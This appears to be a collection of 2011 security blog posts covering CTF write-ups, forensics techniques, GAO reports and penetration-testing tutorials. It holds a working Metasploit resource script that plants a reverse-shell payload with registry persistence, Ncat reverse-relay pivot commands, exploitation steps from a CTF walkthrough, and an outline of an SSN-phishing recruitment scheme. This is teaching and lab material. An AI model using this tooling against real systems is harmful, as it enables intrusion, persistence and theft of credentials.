Those in the Nashville, TN area who are planning on attending Nashville InfoSec 2011 should consider attending the Capture-The-Flag event there this year. My colleague and I have been working on it for quite some time, and we think it will be a great event with a lot of learning coupled with fun competition. If you are interested in registering, you can click the logo above for more information.

We just had a solar flare event a few days ago: http://www.pcmag.com/article2/0,2817,2390826,00.asp

Solar Flare, if NASA is right on their prediction, there will be a lot of problems in the next major solar flare in 2012 – 2013. When that happens, I can see major hacking attacks align their timing around it and just blame on the solar flare. Attacks could be launched during the chaos, and it might be hard initially to see if the mess is caused by natural event or human sabotage…
Remember the major blackout in Northeastern USA in 2003 which effected 45 million people? It was due to a “computer bug”, but I’m really not sure exactly what that means…
(http://en.wikipedia.org/wiki/Northeast_Blackout_of_2003)

Here is the “Super Solar Flare” article on the NASA website - http://science.nasa.gov/science-news/science-at-nasa/2008/06may_carringtonflare/

So, are we are prepared for the next solar flare event?

Thoughts?

How would terrorist organizations target and recruit talents they really need?

1. Look at Monster or Linkedin and see who listed themselves with Top Secret or TS/SCI clearance, or are in the Government Security Clearance / Top Secret Candidate groups
2. Start a staffing firm and pretend that it is a TS cleared facility, then start calling candidates with clearance, and ask for their SSN over the phone, telling them that they need SSN to verify security clearance through JPAS…. When they get the SSN’s, they will be able to learn a lot more about these “candidates” through the background check services like credit check, family tree, etc.
3. Start a cyber security penetration testing project with “unidentified targets” or “special ethical hacking exercise” and asking the newly hired security specialists to use all their knowledge to achieve the “goals” (whatever it might be).
4. For the people who did not get hired, launch a campaign on social networking sites to befriend with these individuals and gain their trusts, for “future projects”.

So, my 2 cents on mitigating scenarios like this:

1. Really marketing the Social Networking training from DISA (http://iase.disa.mil/eta/index.html) and hope people take this short training.
2. Let the cleared personnel know not to list clearance info, specific intelligence agencies or projects experience on the web
3. Change how clearance is verified by the security cleared facilities. It is becoming too common to have recruiters asking for SSN from cleared people so they can check on their JPAS… All the other industries are trying to stay away from SSN, so DSS should find an alternate way to verify.
4. Is there a way for the candidates to verify trust worthy or certified contractors or recruiting/staffing firms?

Thoughts?

GAO just issued a report on 7/25/2011 on “DOD Faces Challenges In Its Cyber Activities” (http://www.gao.gov/new.items/d1175.pdf). GAO has identified DoD’s CyberSecurity gaps and stated it is insufficient. I believe US definitely needs improvement due to today’s cybersecurity threats coming from organized crime, adversary countries, terrorist groups, Wikileak supporter hacking groups.

Here is a budget estimate and plan on DoD CyberSecurity Program and Effort from 7/29/2011 – Pretty interesting presentation:
http://www.gao.gov/new.items/d11695r.pdf

GAO has issued a report 6 years ago in May 2005 on CyberSecurity Threats.
http://www.gao.gov/new.items/d05231.pdf

GAO has also issued a report 2 years ago in May, 2009 – “Cyber Threats and Vulnerabilities Place Federal Systems at Risk”
http://www.gao.gov/new.items/d09661t.pdf

What do you think of our progress on Cyber Security Program in the past 6 years? We certainly have improved a lot in recent years, but how do we compare to the other countries?

Recently, I had an investigation which required me to search for keywords in some very large (over 1 Gig) pcap files. As some of you searching may have realized, there aren’t any tools specifically designed for this task. So, this was my dirty, yet effective, solution to that challenge.

You need the tool tcpflow if you don’t already have it in your arsenal. Tcpflow will read a packet capture and output the payload to files for each discovered tcp conversation. You can instead choose to output the conversations to standard output with the -c parameter. Then pipe that to grep. Grep has a parameter -f which allows you to supply a file with line separated search strings. Below is an example of this in action.

1. First, create a file with a seperate search term or phrase on each line.echo "dog" >> keywords
echo "cat" >> keywords
echo "mouse" >> keywords
2. Now search for those words in your capture:tcpflow -r yourcapture.pcap -c | grep -i -f keywords > keyword_hits
   The -i parameter to grep means case insensitive.

That’s all there is to it. Enjoy!

Caveat* – While I have verified this technique to be forensically sound by MD5 and SHA1 hash comparisons, I make no guarantees that this techniques would be permitted in a court of law. You should consult your attorneys before using this technique with evidence that is, or may become, part of a legal investigation.

Recently I had a need to boot a hard drive that my department received as part of an internal investigation. The drive was large, and although I could have created a bit-for-bit image of the disk with DD, I did not have the storage space available. Also, creating images of large disks is very time consuming. So, I set out to find a way to boot the hard drive as read only media with the changes being written either to memory or a temporary location. VirtualBox turned out to have the exact tools that I need to accomplish this task, and so, here is a quick write-up on how to do just that.

IMPORTANT: Before you connect your physical media (USB/IDE/SATA/etc), make sure you host OS is configured to NOT automount the media!

Instructions on how to create a VBox Guest from physical media without writing changes to the physical media (forensically)

1. Step 1. – This write-up assumes the OS will be linux. You will need to add a user to the “disk” group (it should be the user who launches VirtualBox). You can do that with this command:
   sudo usermod -a -G disk <username>
   Note: The user will need to logoff and log back on for the group change to take effect
2. Step 2. – Create a VMDK file and register it in VBox with the following command:VBoxManage internalcommands createrawvmdk -filename /path/to/file.vmdk -rawdisk /dev/sda -register
   Note: Path to new VMDK file must be absolute.
3. Step 3. – *IMPORTANT* Before you create the VM Guest with this new VMDK as a virtual disk, you must set the disk type to immutable so that changes will not be written back to the physical disk.
   VBoxManage modifyhd <VMDK file> --type immutable
4. Step 4. – Create the VM and add the new VMDK disk in the Virtual Media Manager as the primary storage. Here you can configure all the options as you would while creating a normal VBox guest.
5. Step 5. – (Optional but Recommended) If you want the changes you make while booted into the VM Guest to be persistent you will need to configure the autoreset on the differencing disk to ‘off.’ This will be important if you need to make changes to the system before you can boot (i.e. blanking out the admin password or disabling drives that cause the system to crash). You can do this with the following commands:
   
   First you must identify the UUID of the differencing disk.
   VboxManage list hdds
   The differencing disk will have a parent UUID which is the same as the VMDK disk you created earlier. Once you locate the UUID of the differencing disk, execute this command to change the autoreset value:
   VboxManage modifyhd <UUID> --autoreset off
6. Step 6. – Boot your VM Guest and go!

Final Note: When booting Windows systems like this, you may encounter a BSOD caused by a problem with the intelppm.sys driver. You can boot the windows VM into safe mode and disable the loading of this driver by modifying the registry key

• HKLM\system\currentcontrolset\services\processor or
• HKLM\system\current\controlset\services\intelppm

Change the value of ’start’ to ‘4′.

So, I needed a way to launch my multi/handler and have it automatically setup persistence once a client connected. There is a persistence.rc script written by darkoperator in the Metasploit Framework repository, but it is a more interactive script that you might run inside an existing meterpreter session. I needed something that would require no interaction. So, with a little borrowed code from a ruby block example, I mashed up this script.


#
# Script to automatically install a meterpreter/reverse_tcp payload and a VBS script for persistent connection to attacker.
#
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 1.2.3.4
set ExitOnSession false
#
exploit -j
#
# The first sleep below is not necessary, but makes the output cleaner
#
sleep(1)
#
print_status("Waiting on an incoming sessions...")
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.tunnel_peer.split(":")[0]
#
# Ensure that stdapi has been loaded before running
if s.ext.aliases['stdapi']
sleep(1)
print_status("Uploading files to session #{sid} #{thost}...")
s.console.run_single("upload reverse.exe persist.vbs C:\\\\\WINDOWS\\\\\Temp")
print_status("Executing persistent script...")
s.console.run_single("execute -H -f 'cmd.exe /c cscript C:\\\\\WINDOWS\\\\\Temp\\\\\persist.vbs'")
print_status("Creating Registry Key...")
s.console.run_single("reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v msfpersist -d 'C:\\\WINDOWS\\\Temp\\\persist.vbs'")
s.console.run_single("reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\Run -v msfpersist")
print_status("Closing session #{sid} #{thost}...")
s.kill
else
print_status("Session #{sid} #{thost} active, but not yet configured")
end
#
end
sleep(1)
end
#
print_status("All done")
#
# Kill all open sessions
sessions -K
#
# Exit the console (optional)
exit

The lines got a little split so you can download this script at the end of this post. Basically you want to set the LHOST and the LPORT for the machine running the listener. The “reverse.exe” represents the payload executable, and the “persist.vbs” represents the vbs script which will run on the victim machine and launch the reverse.exe if it is not already running. Both files need be either in the same directory as msfconsole.rc or the path needs to be specified.

You invoke this script by the following:

./msfconsole -r autopersist.rc

This script could be refined much better, but it accomplished what I needed. So, if anyone has any suggestions feel free to comment.

Download: autopersist.vbs

MD5 checksum: 453bbd3e5b95ee1045431bbe2f92c118

On October 8th, I attended the 7th Annual Louisville InfoSec Conference @ Churchill Downs in Louisville, KY. During the conference I participated in the 1st annual capture-the-flag event put on by IronGeek (Adrian Crenshaw). I ended up coming in 2nd place, and I had a great time with it.

Let me first say that IronGeek did a great job to put on a creative, reliable, and challenge CTF. The 1st place finisher was a team of four from SecureState out of Cleveland, OH lead by Dave Kennedy. Dave and one other of his teammates are lead developers for the BackTrack project, and Dave developed Fast Track as well. Needless to say this team was very talented, and deserved every bit of the 1st place spot. I had the opportunity to speak with Adrian and Dave after the event for a while, and they are both very knowledgeable and friendly guys.

I just wanted to briefly outline the CTF event and what steps I took to complete it:

1. The first flag was to find and associate with a hidden SSID. Luckily, there was a client associating with the hidden SSID when I started my monitoring with Kismet. It quickly revealed the SSID which I attached to.
2. The second flag was to locate a windows box with the hostname of WinCTF and list 5 open ports. I found the box using Nmap v.5.00. Even using just the -sP flag, it will still display the hostname if it can find it. I used the -sT since I wanted speed and was not concerned with stealth as well as -A to discover service and OS versions. Also, I only scanned the 1st 100 IP address to shorten the time it took because I noticed the DHCP address I received was in the 101-254 range.
3. The third flag was to locate an x86 Linux box and list 2 open ports. I did this the same way I found the Windows box.
4. The fourth flag was to find the intranet web server and what type and version of webserver it was running. This was once again done with Nmap, using the -A flag to discover the type of web server as well as version.
5. The fifth flag was to discover the Administrator password the WinCTF box. One of the ports open on that box was 445 which was vulnerable to MS08-067. I used Metasploit to drop the meterpreter payload on it. Then I used the hashdump function of meterpreter to retrieve the LM hashes of the user accounts. Crackers such as John and Cain could do the trick in time, but for speed’s sake, I submitted the lm hashes to www.plain-text.info which has a large database of cracked hashes. Luckily for me two of the three user account passwords were found this way…including the Administrator password!
6. The sixth flag was to find the Root password of the x86 Linux box. The box itself had no vulnerable services run, at least that I knew of, so I began to try the two account credentials I had discovered on the Windows box. As it turned out, both boxes used the same credentials. And so, the Root password was the same as the Administrator password. Also, the other user, “greg,” could SSH into the linux box and had sudo privileges. This was another route to root.
7. The seventh flag was to find and copy off a TrueCrypt volume to our local machine. I used locate to find the .tc file on the linux box. Since the intranet web site was running from this box, I copied the .tc file to webroot of the server and downloaded it through my browser. Many other was to get the file were possible, but this was the fastest that I could think of.
8. The eighth flag was to find the password to the .tc file. This was where things got interesting. TrueCrypt volumes if used correctly use a very strong encryption method. I didn’t feel that trying to bruteforce the file would be successful, and so, I began to look for a different way. I tried the two passwords I had discovered thus far, but neither worked. I browsed to the intranet web site, and there I found a SQL injection vulnerability that allowed me to log into site by bypassing the login mechanism. From here I realized that a backend database existed for this site, so I ssh’ed back into the linux box viewed the source code for the website which contained the database login credentials, and was able to login to the database using mysql client. In here I discovered the login credentials for three users: admin, john, and greg. I tried each of these passwords against the .tc file, but none of them worked. I continued to look through the table data in the MySQL database until I found a sort of notes board for each user. It was here that the user “john” placed his password for the .tc file so he would remember it. I used that password and was able to mount the TrueCrypt volume and continue on.
9. The ninth flag was to find the username/password for a non-x86 based linux box. The only other device I could find in my scanning was an IP webcam…this had to be it. It was running a webserver, so I browsed to it, but it seemed secure. Also, the services FTP and HTTP were not vulnerable to any known exploits. It was here that many of the other competitors, as well as myself, got stuck. Finally, a hint was given as to the communication between the IP webcam and the linux server. This gave me the idea to use ettercap to man-in-the-middle the connection and see if the credentials were sent in plain text. The webserver used basic authentication when communicating with the ip camera. I used an online base64 decoder to discover the login to the IP camera’s webserver.
10. The tenth flag was to find the password to a protected 7zip archive which was located in the TrueCrypt volume. I began by trying to use rarcrack to bruteforce the password, but at 6 passwords a second, it was going to take a while. However in the data from the intranet website’s notes board the user, greg, said he kept his password on a post-it note on his monitor. I went back to the IP webcam, rotated the camera some, and sure enough, there was the sticky note with the password on it taped to the monitor.
11. The eleventh and final flag was simply to open the 7zip file with the password found by the webcam and open a .csv file which contained some very confidential information. What a great event!

Here is the challenge per their site:

Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company’s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s secret recipe.

Security staff have been monitoring Ann’s activity for some time, but haven’t found anything suspicious– until now. Today an unexpected laptop briefly appeared on the company wireless network. Staff hypothesize it may have been someone in the parking lot, because no strangers were seen in the building. Ann’s computer, (192.168.1.158) sent IMs over the wireless network to this computer. The rogue laptop disappeared shortly thereafter.

“We have a packet capture of the activity,” said security staff, “but we can’t figure out what’s going on. Can you help?”

You are the forensic investigator. Your mission is to figure out who Ann was IM-ing, what she sent, and recover evidence including:

1. What is the name of Ann’s IM buddy?
2. What was the first comment in the captured IM conversation?
3. What is the name of the file Ann transferred?
4. What is the magic number of the file you want to extract (first four bytes)?
5. What was the MD5sum of the file?
6. What is the secret recipe?

Here is your evidence file:

http://philosecurity.org/558/contest_01/evidence.pcap
MD5 (evidence.pcap) = d187d77e18c84f6d72f5845edca833f5

The MOST ELEGANT solution wins. In the event of a tie, the entry submitted first will receive the prize. Scripting is always encouraged. All responses should be submitted as plain text files.

Exceptional solutions may be incorporated into the SANS Network Forensics Toolkit. Authors agree that their code submissions will be freely published under the GPL license, in order to further the state of network forensics knowledge. Exceptional submissions may also be used as examples and tools in the Network Forensics class. All authors will receive full credit for their work.

And here is my Answer:

Answers to the forensics challenge:

1. Sec558user1
2. “Here’s the secret recipe… I just downloaded it from the file server. Just copy to a thumb drive and you’re good to go >:-)”
3. recipe.docx
4. 50 4B 03 04
5. 8350582774e1d4dbe1d61d64c89e0ea1
6.     Recipe for Disaster:
1 serving
Ingredients:
4 cups sugar
2 cups water
In a medium saucepan, bring the water to a boil. Add sugar. Stir gently over low heat until sugar is fully dissolved.
Remove  the  saucepan from heat.  Allow to cool completely. Pour into gas tank. Repeat as necessary.

Steps I took to complete this challenge:

I opened the pcap file with Wireshark. At frame 23, we see a packet from an already established conversation from Ann’s computer to an IM server.
At frame 25, we see the first plan text message sent to user “Sec558user1” from Ann’s IP containing the text: “Here’s the secret recipe… I just downloaded it from the file server.
Just copy to a thumb drive and you’re good to go >:-)” In a new conversation (frame 109), we see at frame 112, the strings “OFT2” and “Cool Filexfer.”
These strings are indicative of the common protocols used to transfer files among chat clients.
In the same frame we also see the file name of the transferred file: “recipe.docx.”
I used the “Follow TCP Stream” feature in Wireshark to display the payload data from the conversation.
I then isolated just one part of the conversation by choosing 192.168.1.158:5109 -> 192.168.1.159:1272.
I chose to view as raw data and saved the output as recipe.docx.

In order to carve the actual file from the output raw data, I researched the file signatures for docx files (www.garykessler.net/library/file_sigs.html) to find the file header and footer.
The file header for docx filetypes is “50 4B 03 04 14 00 06 00.” I opened the recipe.docx file with XVI32 and searched for that string.
After locating it, I deleted all bytes before the “50 4B…” Then I searched for the footer which was “50 4B + 17 characters + 00 00 00.”
It happened to be at the end of the file, so no trimming had to be done to the end of the file.
I saved the file over the existing recipe.docx file, and performed an md5sum on it resulting in a hash value of “8350582774e1d4dbe1d61d64c89e0ea1.”
Finally, I opened the file with word to reveal the secret recipe.

In the above diagram, I have illustrated a common DMZ setup with one web server in the DMZ and one internal MySQL database server on the protected network. We will say for arguments sake that the Web Server is running a vulnerable version of IIS. Our goal is to access the internal database sever from where our attacker sits on the network.

To access the Database Server from the attacker’s box, we will use the DMZ web server as a pivot point. All traffic to and from the victim and attacker will be routed through this host. In order to accomplish this feat, we will use Ncat. Ncat is an updated implementation of netcat. An entire book could easily be written describing the tool, so I will just cover the usage that pertains to this illustration.

On the Attacker’s Machine:

Because the firewall allows inbound connections to the web server on port 80 and also permits any outbound connection from the web server, we can compromise the web server through its vulnerable web service and then do a reverse connection back to our attacking machine. So we will setup a listener with Ncat. However we will do a listener-to-listener relay so that we can communicate through the established connection by connecting to the TCP 3306 listener.

ncat -l 1337 -c "ncat -l 3306"

-l 1337 : listen on tcp port 1337

-c “ncat -l 3306″ : spawns a new listener that will send and receive data through a connection on port 1337

Ok, now we have our relay setup and waiting on our attacking machine.

On the Web Server:

Assuming we have installed Ncat on the DMZ web server by exploiting the vulnerable web service, we can now create a client-to-client relay which will make a connection to the listener we just created as well as make a connection to the database server. This link will carry all communication to and from the attacker and database server.

ncat 10.1.1.1 1337 -e "ncat 10.3.1.1 3306"

-e “ncat 10.3.1.1 3306″ : the -e executes a command. You’ll notice on the attacker we used -c. That is because the attacker is running Linux and the -c tells Ncat to execute via /bin/sh.

Back on Attacker’s Machine:

Ok, now that our link has been established, all that is left is to connect through the listner on the attacker’s machine listening on port 3306. A command like this:

mysql -h 127.0.0.1 -u root -p

You will be routed through the Ncat tunnel to the internal database server.